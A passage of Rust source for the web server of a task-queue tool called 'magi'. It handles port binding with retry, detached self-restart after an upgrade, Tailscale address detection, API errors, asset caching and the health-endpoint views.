853/// concurrent queue handoff.
854#[derive(Debug, Default)]
855struct TalkTurns {
856    live: HashSet<String>,
857    queued: HashMap<String, u64>,
858}
859
860/// The atomic initial-state decision made by
861/// [`Ui::begin_talk_turn_unless_pending`].
862enum TalkTurnStart {
863    Claimed(TalkTurnGuard),
864    Busy,
865    Pending,
866}
867
868impl TalkTurnGuard {
869    /// Release while the caller already holds the claim mutex, closing the
870    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
871    fn release(mut self, live: &mut TalkTurns) {
872        live.live.remove(&self.talk);
873        live.queued.remove(&self.talk);
874        self.released = true;
875    }
876}
877
878impl Drop for TalkTurnGuard {
879    fn drop(&mut self) {
880        if self.released {
881            return;
882        }
883        if let Ok(mut live) = self.turns.lock() {
884            live.live.remove(&self.talk);
885            live.queued.remove(&self.talk);
886        }
887    }
888}
889
890/// Releases a resume claim, so a run is resumable again after the attempt.
891struct ResumeGuard {
892    run: String,
893    resuming: Arc<Mutex<HashSet<String>>>,
894}
895
896impl Drop for ResumeGuard {
897    fn drop(&mut self) {
898        if let Ok(mut live) = self.resuming.lock() {
899            live.remove(&self.run);
900        }
901    }
902}
903
904/// Bind the port, waiting briefly for a predecessor to let go of it.
905///
906/// A restart hands the address from one process to the next, and the old one
907/// holds its listener until it unwinds. A single `bind` can lose that race,
908/// and for a restart triggered from a phone that means the deck never comes
909/// back with no terminal around to say why.
910///
911/// Bounded, and only for the one error a wait can fix: anything else fails at
912/// once, because retrying it would turn a clear message into a silence.
913async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
914    const WINDOW: Duration = Duration::from_secs(10);
915    const GAP: Duration = Duration::from_millis(250);
916
917    let deadline = std::time::Instant::now() + WINDOW;
918    let mut said = false;
919    loop {
920        match tokio::net::TcpListener::bind(socket).await {
921            Ok(listener) => return Ok(listener),
922            Err(e)
923                if e.kind() == std::io::ErrorKind::AddrInUse
924                    && std::time::Instant::now() < deadline =>
925            {
926                if !said {
927                    said = true;
928                    tracing::info!(
929                        "{socket} is still held - waiting up to {}s for it, \
930                         which is what a restart looks like from here",
931                        WINDOW.as_secs()
932                    );
933                }
934                tokio::time::sleep(GAP).await;
935            }
936            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
937        }
938    }
939}
940
941/// Signalled when an upgrade has replaced the binary and the successor should
942/// take this address over. One per process: there is one address to hand on.
943static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
944
945/// Start this binary again with the same arguments, detached.
946///
947/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
948/// so the address is already free when the successor binds it. The first
949/// attempt at this spawned the successor two hundred milliseconds before
950/// exiting instead, and the released binary - which has no bind retry - died
951/// on "address already in use" with its stdio sent to null, so the deck
952/// simply never came back.
953///
954/// Detached and without inherited stdio: the successor has to outlive this
955/// process, and must not hold open a pipe a terminal is waiting on.
956fn spawn_successor() -> Result<()> {
957    let exe = std::env::current_exe().context("find this binary")?;
958    let args: Vec<String> = std::env::args().skip(1).collect();
959    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
960
961    let mut cmd = std::process::Command::new(&exe);
962    cmd.args(&args)
963        .stdin(std::process::Stdio::null())
964        .stdout(std::process::Stdio::null())
965        .stderr(std::process::Stdio::null());
966    #[cfg(windows)]
967    {
968        use std::os::windows::process::CommandExt as _;
969        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
970        // and Ctrl-C in the old terminal must not reach the successor.
971        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
972    }
973    cmd.spawn().context("start the successor")?;
974    Ok(())
975}
976
977/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
978///
979/// The server itself owns no state, so nothing here is graceful for the HTTP
980/// side's sake: the connections go with the dropped listener, which costs a
981/// phone one change-stream reconnection it was going to make anyway.
982///
983/// The signal branch is not optional now that the loop lives in this process.
984/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
985/// handler is what stops the signal terminating the process - so without a
986/// branch of our own, the first Ctrl-C after the operator started the loop
987/// would stop the loop and leave `magi web` listening forever, unkillable
988/// from the terminal it was started in.
989///
990/// What it waits for is the loop, not the sockets. A run in flight is
991/// finished first, for the reason [`daemon::serve`] gives: killing the graph
992/// mid-node leaves worktrees, branches and agent sessions behind and throws
993/// away every agent call already paid for.
994///
995/// The server therefore runs on a task of its own rather than inside the
996/// `select!`: an arm that resolves *drops* the futures the other arms were
997/// polling, so serving the address from inside one would take the deck down
998/// at the instant the handover began and keep it down for the whole park -
999/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1000/// owns the order.
1001pub async fn serve(opts: Opts) -> Result<()> {
1002    let (addr, warning) = resolve_bind(&opts.bind);
1003    if let Some(warning) = warning {
1004        tracing::warn!("{warning}");
1005    }
1006
1007    // Process-global, and therefore set exactly once, here: the report route
1008    // must never emit escape sequences into a browser, and toggling the flag
1009    // per request would race with a concurrent request rendering its own
1010    // report. Startup is the only moment at which no request can observe the
1011    // change. Nothing in the server turns colour back on.
1012    report::set_color(false);
1013
1014    let repo = normalize_default_repo(opts.repo).await;
1015    let ui = Ui::open(repo).with_merge(opts.merge);
1016    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1017    // home to bracket the parking and restarting stages, and `run_update_recheck`
1018    // needs both it and the repo, and by then there is no `ui` left to read
1019    // them from.
1020    let home = ui.home.clone();
1021    let repo = ui.repo.clone();
1022    // Settles a progress record a predecessor left non-terminal - either this
1023    // *is* the successor `spawn_successor` started, or the previous process
1024    // died mid-handover. Before the router starts answering, so the very
1025    // first `/api/health` a phone gets from this process already reflects it.
1026    updater::reconcile_after_restart(&home);
1027    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1028    // `spawn_update_check` does at startup only ever runs once: after that,
1029    // `/api/health`'s `update` field - and the phone's "Update & restart"
1030    // button, which reads the very same cache - would stay frozen on
1031    // whatever that single check found, no matter how many releases ship
1032    // afterwards. This keeps it current instead. Detached: it must keep
1033    // going for as long as this process serves, `serve` has nothing to await
1034    // it for, and it exits on its own the moment the process does.
1035    tokio::spawn(run_update_recheck(repo, home.clone()));
1036    let looping = ui.looping();
1037    let socket = SocketAddr::new(addr, opts.port);
1038    let listener = bind_waiting(socket).await?;
1039    let url = format!("http://{addr}:{}", opts.port);
1040    tracing::info!(
1041        "magi web UI on {url} - there is no authentication, so anyone who can \
1042         reach this address can file and hold tasks: the tailnet is the \
1043         security boundary"
1044    );
1045    tracing::info!(
1046        "the queue loop is not running yet - start it from the UI, which is \
1047         the whole reason this process can: nothing in the queue moves until \
1048         something is running the loop"
1049    );
1050    if opts.open {
1051        // The URL alone on stdout, for a caller that wants to open it. magi
1052        // does not spawn a browser: on the machine this usually runs on there
1053        // is no display, and a failed launch would be the only output.
1054        println!("{url}");
1055    }
1056
1057    // On its own task, so nothing this function awaits can stop the address
1058    // being answered. `hand_over` is where it is given up.
1059    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1060    let interrupted = async {
1061        if tokio::signal::ctrl_c().await.is_err() {
1062            // No handler on this platform, so there is no signal to act on.
1063            // Never resolving is the safe answer: a failed registration must
1064            // not masquerade as the operator asking for a shutdown and take
1065            // the UI down on startup.
1066            std::future::pending::<()>().await;
1067        }
1068    };
1069    let handover = HANDOVER.notified();
1070    tokio::select! {
1071        joined = &mut served => match joined {
1072            Ok(outcome) => outcome.context("serve the web UI"),
1073            Err(e) => Err(e).context("the task serving the web UI ended"),
1074        },
1075        () = interrupted => {
1076            tracing::info!("shutting down the web UI");
1077            finish_loop(&looping).await;
1078            Ok(())
1079        }
1080        () = handover => {
1081            tracing::info!("upgraded - handing this address to the successor");
1082            hand_over(&home, &looping, served, spawn_successor).await
1083        }
1084    }
1085}
1086
1087/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1088/// process's own working directory is not a git checkout at all - the
1089/// checkout [`repos::discover_verified`] finds instead.
1090///
1091/// Only the unmodified default is ever replaced: an operator who named a
1092/// directory outright, git checkout or not, gets exactly that directory
1093/// back, and the same story downstream (a talk whose briefing embeds a
1094/// non-git directory, and an agent that has to ask the operator where the
1095/// real repository is) that has always told them so - substituting a guess
1096/// for an explicit answer would be a second, silent opinion about what they
1097/// meant. There is no instruction or task text yet to match against this
1098/// early, so only [`repos::discover_verified`]'s own-repository tier can
1099/// ever settle this - the hint tier never fires here.
1100///
1101/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1102/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1103/// or a git installation that is broken in exactly the way that made the
1104/// original `canonical` check above fail too - so it is re-checked with
1105/// `git::toplevel` before it is ever used in place of the operator's own
1106/// directory.
1107async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1108    if repo != FsPath::new(".") {
1109        return repo;
1110    }
1111    let Ok(canonical) = repo.canonicalize() else {
1112        return repo;
1113    };
1114    if git::toplevel(&canonical).await.is_ok() {
1115        return repo;
1116    }
1117    let Some(home) = dirs::home_dir() else {
1118        return repo;
1119    };
1120    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1121        Some(found) => {
1122            tracing::info!(
1123                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1124                canonical.display(),
1125                found.path.display(),
1126                found.reason,
1127            );
1128            found.path
1129        }
1130        None => repo,
1131    }
1132}
1133
1134/// Park the loop, then release the address, then start the successor.
1135///
1136/// The order is the whole function, and each step is answerable to a failure
1137/// this arrangement has already had:
1138///
1139/// 1. **Park.** The loop was asked to stop by the request that replaced the
1140///    binary, and this waits for it, because killing the graph mid-node
1141///    leaves worktrees, branches and agent sessions behind and throws away
1142///    every agent call already paid for. It takes as long as the node in
1143///    flight - up to `timeout_implement`, an hour by default - and the deck
1144///    goes on answering for all of it, which is the reason `served` is a task
1145///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1146///    first upgrade from a phone that caught a run mid-implement dropped the
1147///    listener the moment it was asked to, and the operator got
1148///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1149///    waiting on and nothing but a process list to say the run was alive.
1150/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1151///    the join resolves only once the task's future has been dropped, so the
1152///    listener is released before the next line. Connections it already
1153///    accepted are served on tasks of their own and wind down asynchronously;
1154///    on some platforms (macOS) they can briefly keep the address busy, and
1155///    the successor's `bind_waiting` absorbs that.
1156/// 3. **Start the successor**, which binds the address this process has just
1157///    let go of - see [`spawn_successor`] for what the other order cost.
1158///
1159/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1160/// reporting, not part of the design: it exists so `/api/health` can say
1161/// "parking, waiting on run X" instead of leaving the phone to guess why the
1162/// deck went quiet, and dropping it would not change the order above.
1163async fn hand_over(
1164    home: &FsPath,
1165    looping: &Mutex<LoopState>,
1166    served: tokio::task::JoinHandle<std::io::Result<()>>,
1167    successor: impl FnOnce() -> Result<()>,
1168) -> Result<()> {
1169    if let Some(mut progress) = updater::read_progress(home) {
1170        progress.advance(updater::Stage::Parking);
1171        let _ = updater::write_progress(home, &progress);
1172    }
1173    finish_loop(looping).await;
1174    served.abort();
1175    let _ = served.await;
1176    if let Some(mut progress) = updater::read_progress(home) {
1177        progress.advance(updater::Stage::Restarting);
1178        let _ = updater::write_progress(home, &progress);
1179    }
1180    successor()
1181}
1182
1183/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1184///
1185/// The wait is the whole function. Returning from `serve` while a graph is
1186/// mid-node ends the process with worktrees, branches and agent sessions left
1187/// behind and every agent call in that run paid for and thrown away, which is
1188/// exactly what the daemon's own shutdown refuses to do.
1189async fn finish_loop(state: &Mutex<LoopState>) {
1190    let live = lock_or_recover(state).live.take();
1191    let Some(live) = live else { return };
1192    live.stop.stop();
1193    lock_or_recover(state).rev += 1;
1194    tracing::info!("waiting for the loop to finish the run in flight");
1195    // The task records its own outcome and logs it, so there is nothing to do
1196    // with a join error here but stop waiting.
1197    let _ = live.handle.await;
1198}
1199
1200/// Resolve `--bind` to an address, plus a warning when the answer is not what
1201/// the operator asked for.
1202///
1203/// Split out from [`serve`] because the interesting half - deciding whether
1204/// Tailscale gave us something usable - is testable without opening a socket.
1205pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1206    match bind {
1207        Bind::Addr(addr) => (*addr, None),
1208        Bind::Auto => match tailscale_ip() {
1209            Ok(ip) => (IpAddr::V4(ip), None),
1210            Err(why) => (
1211                IpAddr::V4(Ipv4Addr::LOCALHOST),
1212                Some(format!(
1213                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1214                     local-only and a phone cannot reach it; start Tailscale \
1215                     or pass --bind <addr>"
1216                )),
1217            ),
1218        },
1219    }
1220}
1221
1222/// This machine's Tailscale IPv4, or why there is not one.
1223///
1224/// `tailscale ip -4` is a local call against the running daemon and returns in
1225/// milliseconds, so it is fine to make it synchronously before the server
1226/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1227/// CGNAT block Tailscale assigns from, and anything else on that output would
1228/// be a different tool answering.
1229fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1230    let out = std::process::Command::new("tailscale")
1231        .args(["ip", "-4"])
1232        .quiet()
1233        .output()
1234        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1235    if !out.status.success() {
1236        let why = String::from_utf8_lossy(&out.stderr);
1237        let why = why.trim();
1238        return Err(format!(
1239            "`tailscale ip -4` failed ({}){}",
1240            out.status,
1241            if why.is_empty() {
1242                String::new()
1243            } else {
1244                format!(": {why}")
1245            }
1246        ));
1247    }
1248    String::from_utf8_lossy(&out.stdout)
1249        .lines()
1250        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1251        .find(is_tailnet)
1252        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1253}
1254
1255/// Is this address in the CGNAT block Tailscale hands out from?
1256fn is_tailnet(ip: &Ipv4Addr) -> bool {
1257    let o = ip.octets();
1258    o[0] == 100 && (64..=127).contains(&o[1])
1259}
1260
1261/// What every handler returns. Spelled out because `Result` in this crate is
1262/// `anyhow::Result`, and a handler's error is a status code as much as a
1263/// message.
1264type ApiResult<T> = std::result::Result<T, ApiError>;
1265
1266/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1267#[derive(Debug)]
1268struct ApiError {
1269    status: StatusCode,
1270    message: String,
1271}
1272
1273impl ApiError {
1274    /// The client asked for something malformed.
1275    fn bad_request(message: impl Into<String>) -> Self {
1276        Self {
1277            status: StatusCode::BAD_REQUEST,
1278            message: message.into(),
1279        }
1280    }
1281
1282    /// No such run or task.
1283    fn not_found(message: impl Into<String>) -> Self {
1284        Self {
1285            status: StatusCode::NOT_FOUND,
1286            message: message.into(),
1287        }
1288    }
1289
1290    /// Someone else owns the thing the client wants to change.
1291    /// Re-badge an error whose default mapping is wrong for this route.
1292    fn with_status(mut self, status: StatusCode) -> Self {
1293        self.status = status;
1294        self
1295    }
1296
1297    /// A rules violation from a domain type, reported as the caller's fault.
1298    /// `Question::answer` rejects an unoffered choice, and that is a bad
1299    /// request, not a server error.
1300    fn bad_request_from(e: anyhow::Error) -> Self {
1301        Self::bad_request(format!("{e:#}"))
1302    }
1303
1304    fn conflict(message: impl Into<String>) -> Self {
1305        Self {
1306            status: StatusCode::CONFLICT,
1307            message: message.into(),
1308        }
1309    }
1310
1311    /// Our fault, or the disk's.
1312    fn internal(message: impl Into<String>) -> Self {
1313        Self {
1314            status: StatusCode::INTERNAL_SERVER_ERROR,
1315            message: message.into(),
1316        }
1317    }
1318}
1319
1320impl From<anyhow::Error> for ApiError {
1321    /// Errors from `queue` and `run` carry their context chain, and the whole
1322    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1323    /// value at line 3" is a message an operator can act on, and there is no
1324    /// secret in a path on a single-user tailnet.
1325    fn from(e: anyhow::Error) -> Self {
1326        Self::internal(format!("{e:#}"))
1327    }
1328}
1329
1330impl IntoResponse for ApiError {
1331    fn into_response(self) -> Response {
1332        let body = serde_json::json!({ "error": self.message });
1333        (self.status, Json(body)).into_response()
1334    }
1335}
1336
1337/// Run a handler's filesystem work off the executor.
1338///
1339/// Every route that touches the disk goes through here rather than each one
1340/// arguing about whether its own read is small enough. Uniform because the
1341/// expensive case is not rare: `run.json` for a finished competition holds
1342/// every judgement, deliberation turn and review round, so listing a few
1343/// hundred runs is megabytes of parsing, and the executor threads doing it are
1344/// the same ones serving the change stream of every other connected phone.
1345async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1346where
1347    T: Send + 'static,
1348{
1349    match tokio::task::spawn_blocking(job).await {
1350        Ok(result) => result,
1351        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1352    }
1353}
1354
1355/// Cache policy for the three compiled-in front-end files.
1356///
1357/// The whole interface is `include_str!`ed into the binary, so its content
1358/// changes only when the binary does - and a phone that keeps a copy is
1359/// welcome to, right up until the deck is replaced. Without a single cache
1360/// header, browsers were free to invent their own policy, and one did:
1361/// yukimemi's phone went on showing "Candidates must be folded before
1362/// deleting. Run `magi fold` first." - a sentence deleted two releases
1363/// earlier - from a run detail served by a deck that no longer contained it.
1364/// The delete button he was told about was right there, and unreachable.
1365///
1366/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1367/// every time, the answer is a 304 costing one small round trip while the
1368/// deck is unchanged, and the moment it is replaced the tag differs and the
1369/// new interface arrives. Correctness over bytes - this is one file of a few
1370/// tens of kilobytes on a tailnet, and being a version behind is not a
1371/// cosmetic problem when the difference is whether a button exists.
1372const ASSET_CACHE: &str = "no-cache, must-revalidate";
1373
1374/// `ETag` for the compiled-in assets, distinct per build.
1375///
1376/// The version alone would leave a locally built deck - `cargo install
1377/// --path .` twice at the same version, which is the normal way to iterate -
1378/// serving a stale tag for changed bytes. The build timestamp is what makes
1379/// two builds of `0.3.0` differ.
1380fn asset_etag() -> &'static str {
1381    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1382        format!(
1383            "\"{}-{}\"",
1384            env!("CARGO_PKG_VERSION"),
1385            // Length is a cheap, deterministic stand-in for a hash: the
1386            // three files are compiled in together, so any edit to any of
1387            // them almost certainly changes the total, and a rebuild is what
1388            // this needs to track rather than every possible byte pattern.
1389            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1390        )
1391    });
1392    &TAG
1393}
1394
1395/// Headers for a compiled-in asset of `mime`.
1396fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1397    [
1398        (header::CONTENT_TYPE, mime),
1399        (header::CACHE_CONTROL, ASSET_CACHE),
1400        (header::ETAG, asset_etag()),
1401    ]
1402}
1403
1404/// Serve a compiled-in asset, answering `304` when the client already has it.
1405///
1406/// axum does not compare `If-None-Match` for us, and a header the server sets
1407/// but never honours is worse than none: the phone revalidates on every load
1408/// and is handed the whole file back each time. Doing the comparison is what
1409/// makes `must-revalidate` cost one small round trip rather than the
1410/// interface.
1411fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1412    let tag = asset_etag();
1413    let known = headers
1414        .get(header::IF_NONE_MATCH)
1415        .and_then(|v| v.to_str().ok())
1416        // A revalidating client may send several, and a proxy may weaken the
1417        // tag to `W/"..."`; matching on containment covers both without
1418        // parsing the grammar.
1419        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1420    if known {
1421        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1422    }
1423    (asset_headers(mime), body).into_response()
1424}
1425
1426async fn index(headers: header::HeaderMap) -> Response {
1427    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1428}
1429
1430async fn app_css(headers: header::HeaderMap) -> Response {
1431    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1432}
1433
1434async fn app_js(headers: header::HeaderMap) -> Response {
1435    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1436}
1437
1438/// What `/api/health` answers.
1439#[derive(Debug, Serialize)]
1440struct HealthView {
1441    version: &'static str,
1442    home: String,
1443    queue_rev: u64,
1444    runs_rev: u64,
1445    /// The same revisions [`events`] streams for the question and talk
1446    /// stores.
1447    ///
1448    /// Here because this route is what the front end falls back to when the
1449    /// change stream is not up - it re-polls health on a timer and on wake, and
1450    /// takes the revisions from the answer. Without these the fallback
1451    /// compares `undefined` against `undefined` for both stores, decides
1452    /// nothing moved, and a phone with a dead stream never learns that a
1453    /// question was asked or that a talk took a turn. `queue_rev` and
1454    /// `runs_rev` above have always been here for exactly this reason; the rule
1455    /// is that every revision the stream carries, this route carries too.
1456    questions_rev: u64,
1457    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1458    talks_rev: u64,
1459    /// See [`HealthView::questions_rev`]. The notification centre's store.
1460    notifications_rev: u64,
1461    /// Notifications nobody has read yet: the bell's badge before
1462    /// `/api/notifications` has answered.
1463    notifications_unread: usize,
1464    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1465    /// is not on disk anywhere, so a phone with no change stream has no other
1466    /// way to notice that the loop it is waiting on was started from another
1467    /// device.
1468    loop_rev: u64,
1469    /// Runs on disk whose state this build cannot parse - almost always a
1470    /// schema bump, occasionally a run killed mid-write.
1471    ///
1472    /// Reported because the list silently skips them, and "no competitions
1473    /// yet" is a lie when six of them are sitting in the runs directory. The
1474    /// terminal deck learned the same lesson: a run that fails to parse must
1475    /// not disappear from the count.
1476    runs_unreadable: usize,
1477    /// The disk, and what the runs and their worktrees occupy on it.
1478    ///
1479    /// This is the incident the janitor exists for: magi alone put 30 GB into
1480    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1481    /// is exactly where the operator learns "the disk is the constraint" -
1482    /// the diagnosis that a run is being held for want of space has to be
1483    /// checkable on the same screen.
1484    disk: DiskView,
1485    /// Questions nobody has answered yet, including ones an owner talked
1486    /// back on and is now waiting for the agent's reply to. A round trip
1487    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1488    /// while the ball is in the agent's court - see
1489    /// [`crate::ask::Questions::count_open`].
1490    questions_open: usize,
1491    /// Of those, how many actually need the owner right now: open, and not
1492    /// [`crate::ask::Question::waiting_on_agent`].
1493    ///
1494    /// The one number that means "nothing will happen until a human acts" -
1495    /// a parked run consumes nothing and progresses never - and the count the
1496    /// ask bar, the nav badge and the document title fall back to before
1497    /// `/api/questions` has answered, so those notification channels clear
1498    /// the instant the owner asks back and reappear the instant the agent
1499    /// replies, instead of sitting lit for however long the agent thinks.
1500    questions_needs_owner: usize,
1501    daemon: DaemonView,
1502    /// The loop in this process, exactly what `/api/loop` answers with.
1503    ///
1504    /// Here so a phone that has just woken needs one request to know whether
1505    /// anything is going to happen at all: `daemon` says a loop is alive
1506    /// somewhere, and this says whether it is one this UI can stop.
1507    #[serde(rename = "loop")]
1508    looping: LoopView,
1509    /// Whether a release newer than this build is known, and which.
1510    ///
1511    /// From [`updater::Checker::cached_update`] - the same throttled state the
1512    /// CLI's `notify` mode banners from - never a live check: this route is
1513    /// polled every few seconds, and a live check on each poll would spend
1514    /// GitHub's rate limit before the operator finished reading the strip.
1515    update: UpdateView,
1516    /// The self-upgrade this deck last set in motion, or `null` before the
1517    /// first one. Read off disk, so the successor can report what its
1518    /// predecessor started.
1519    upgrade: Option<UpgradeProgressView>,
1520}
1521
1522/// What `/api/health` knows about a release newer than this build.
1523///
1524/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1525/// is already the newest" from "never checked" - both are `None` - and the
1526/// phone needs to tell those apart to decide whether the deck can be trusted
1527/// to have an opinion at all.
1528#[derive(Debug, Serialize)]
1529struct UpdateView {
1530    /// A newer release is known to exist.
1531    available: bool,
1532    /// Its tag, when `available`.
1533    to: Option<String>,
1534}
1535
1536/// [`updater::Progress`] as `/api/health` reports it.
1537#[derive(Debug, Serialize)]
1538struct UpgradeProgressView {
1539    stage: updater::Stage,
1540    from: String,
1541    to: Option<String>,
1542    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1543    /// the step it is finishing before the address is handed over.
1544    waiting_on: Option<String>,
1545    started_at: Timestamp,
1546    updated_at: Timestamp,
1547    detail: Option<String>,
1548}
1549
1550/// Whether [`run_update_recheck`] may act at all this tick.
1551///
1552/// The same two conditions [`updater::Checker::new`] and
1553/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1554/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1555/// GitHub from this process" - on a button press or on a timer alike.
1556fn should_spawn_recheck(cfg: &Update) -> bool {
1557    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1558}
1559
1560/// Whether this tick should actually reach the network, once checking itself
1561/// is allowed.
1562///
1563/// An upgrade already in flight must not be raced by a check that discovers
1564/// a *newer* release while one is still installing - a phone watching
1565/// `/api/health` would see the answer change out from under the upgrade it
1566/// already asked for. Past that, [`updater::Checker::should_check`] is the
1567/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1568/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1569/// polling period, is what keeps this task's network use to at most once per
1570/// `[update] interval` regardless of how often it wakes up.
1571fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1572    if progress.is_some_and(|p| !p.stage.terminal()) {
1573        return false;
1574    }
1575    checker.should_check()
1576}
1577
1578/// How long [`run_update_recheck`] sleeps before its next wake-up.
1579///
1580/// A fraction of the configured `[update] interval` rather than a fixed
1581/// number: a fixed sleep longer than a short custom interval would leave the
1582/// deck waiting on its own wake-up rather than on `should_check`, so an
1583/// operator who set `interval = "1m"` to make the UI catch up quickly would
1584/// not see that take effect until the next restart - exactly the bug this
1585/// task exists to fix, just moved one level down. Scaling with the interval
1586/// keeps the wake-up prompt relative to what was actually configured, while
1587/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1588/// still what caps the network calls themselves at one per interval,
1589/// regardless of how often this fires.
1590fn recheck_poll_period(cfg: &Update) -> Duration {
1591    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1592}
1593
1594/// Keep `/api/health`'s `update` field current for as long as `magi web`
1595/// stays up.
1596///
1597/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1598/// which is enough for every other command: they exit in seconds. `magi web`
1599/// can run for days, so a single startup check leaves the cache - and the
1600/// phone's "Update & restart" button, which reads it via
1601/// [`cached_update_view`] - frozen on whatever that one look found, however
1602/// many releases ship afterwards. This is what notices the rest of them,
1603/// re-reading the config each tick so a `magi.toml` edit while the server is
1604/// up takes effect without a restart, the same way every other route here
1605/// already does - both for whether checking is on at all and for how long
1606/// the next sleep should be.
1607///
1608/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1609/// "install"`: swapping the running binary out from under a task or a run
1610/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1611/// not as a side effect of a timer nobody asked to fire. This only ever
1612/// calls [`updater::Checker::newer_release`], which refreshes
1613/// `last_update_check.json` and nothing else - so under `mode = "install"`
1614/// this behaves like `notify` for as long as the deck stays up, and an
1615/// actual self-install still happens exactly where it always has: once, at
1616/// the next process start.
1617async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1618    loop {
1619        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1620        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1621        if !should_spawn_recheck(&cfg.update) {
1622            continue;
1623        }
1624        let Some(checker) = updater::Checker::new(&cfg.update) else {
1625            continue;
1626        };
1627        let progress = updater::read_progress(&home);
1628        if !update_recheck_due(&checker, progress.as_ref()) {
1629            continue;
1630        }
1631        if let Err(e) = checker.newer_release().await {
1632            tracing::warn!("background update recheck failed: {e:#}");
1633        }
1634    }
1635}
1636
1637/// [`UpdateView`] from the same throttled, disk-only state
1638/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1639/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1640/// no cached state at all, which is correct: an operator who turned checking
1641/// off gets no opinion, not a stale one.
1642fn cached_update_view(repo: &FsPath) -> UpdateView {
1643    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1644    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1645    match latest {
1646        Some(latest) => UpdateView {
1647            available: true,
1648            to: Some(latest.tag_name),
1649        },
1650        None => UpdateView {
1651            available: false,
1652            to: None,
1653        },
1654    }
1655}
1656
1657/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1658/// from the parked run's own state when the stage is
1659/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1660/// already on disk in `run.json`, so this reads them fresh rather than
1661/// trusting whatever was true the moment the park was requested.
1662fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1663    let waiting_on = (progress.stage == updater::Stage::Parking)
1664        .then_some(progress.parked_run.as_deref())
1665        .flatten()
1666        .and_then(|id| read_run(&ui.runs, id).ok())
1667        .map(|run| {
1668            format!(
1669                "run {} is finishing {} before the address is handed over",
1670                run.short(),
1671                run.status.as_str()
1672            )
1673        });
1674    UpgradeProgressView {
1675        stage: progress.stage,
1676        from: progress.from,
1677        to: progress.to,
1678        waiting_on,
1679        started_at: progress.started_at,
1680        updated_at: progress.updated_at,
1681        detail: progress.detail,
1682    }
1683}
1684
1685/// The disk figures `/api/health` carries. Every number is produced by
1686/// [`crate::disk`], the same code that decides a run may not start, so the
1687/// health screen and the gate cannot disagree about what the machine looks
1688/// like.
1689#[derive(Debug, Serialize)]
1690struct DiskView {
1691    /// Free bytes on the volume holding the runs, when measurable.
1692    #[serde(skip_serializing_if = "Option::is_none")]
